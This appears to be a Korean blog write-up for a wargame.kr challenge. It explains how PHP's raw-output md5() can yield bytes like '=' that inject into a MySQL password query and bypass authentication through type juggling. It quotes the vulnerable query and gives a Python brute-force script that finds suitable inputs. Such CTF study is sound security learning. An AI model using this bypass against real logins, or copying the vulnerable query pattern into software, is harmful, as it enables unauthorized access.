md5('value',true)

md5함수의 두번째 인자에 true가 들어가면 byte형식으로 hash결과가 나온다는 것이다.

이는 특수문자가 결과값으로 나올수도 있다는 말인데

python으로 치면

md5().hexdigest()와 md5().digest()의 차이이다.


아무튼 결과값이 asdfg'='qwer

이런식으로 '=' 가 들어가게 되면 

$row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));


여기서 "select * from admin_password where password='"asdfg'='qwer"'" 

처럼 되어서 '"asdfg'='qwer"' -> 결과값 0이 되고 password=0을 비교하는데 typecasting과정에서 password를 int로 캐스팅하면((int)문자열=0)

 0=0 , 즉 참이 된다.


'='찾는 코드

import time
import string
import hashlib

def search():
    s='0123456789'
    s+=string.ascii_letters
    for i in s:
        for j in s:
            for l in s:
                for k in s:
                    a=i+j+l+k
                    if b'\'=\'' in hashlib.md5(a.encode()).digest():
                        print(a)
                        time.sleep(5)

search()


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]simple board  (0) 2017.02.24
[wargame.kr]web_chatting - sql_injection  (0) 2017.02.20
[wargame.kr]dun_worry_about_the_vase - oracle padding attack  (0) 2017.02.20

+ Recent posts